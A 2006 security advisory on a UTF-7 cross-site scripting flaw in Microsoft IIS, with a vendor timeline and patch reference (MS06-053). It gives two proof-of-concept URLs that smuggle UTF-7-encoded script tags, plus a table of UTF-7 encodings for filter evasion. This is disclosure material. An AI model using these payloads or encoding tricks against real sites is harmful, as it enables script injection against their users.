Title:

Microsoft Internet Information Services UTF-7 XSS Vulnerability

Date:

1 October 2006 (Last modified: 3 October 2006)

Author:

Eiji James Yoshida [ptrs-ejy@bp.iij4u.or.jp]
penetration technique research site [Advisories]

Vulnerable:

Internet Information Services

Bugtraq ID:

19927

Patch:

MS06-053

Overview:

Using UTF-7 encoded URLs, IIS may return user specified content to the browser.

If 'Encoding' is set to 'Auto Select', and Internet Explorer finds a UTF-7 string in the response's body, it will set the charset encoding to UTF-7 automatically, unless a certain charset encoding is already enforced.

Proof of concept:

http://VulnerableSite/+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-.htw?CiWebHitsFile=/iisstart.asp&CiRestriction=''
http://VulnerableSite/+ADw-SCRIPT+AD4-alert('XSS');+ADw-+AC8-SCRIPT+AD4-.ida

UTF-7("<") = +ADw-, +ADx-, +ADy-, +ADz-
UTF-7(">") = +AD4-, +AD5-, +AD6-, +AD7-
UTF-7("/") = +AC8-, +AC9-

Vendor status:

IPA/ISEC was notified on the 27th December 2005.
Microsoft has released a patch for this vulnerability on the 12th September 2006.

Similar vulnerability:

XSS vulnerabilities in Google.com
Patch Available for 'Indexing Services Cross Site Scripting' (MS00-084)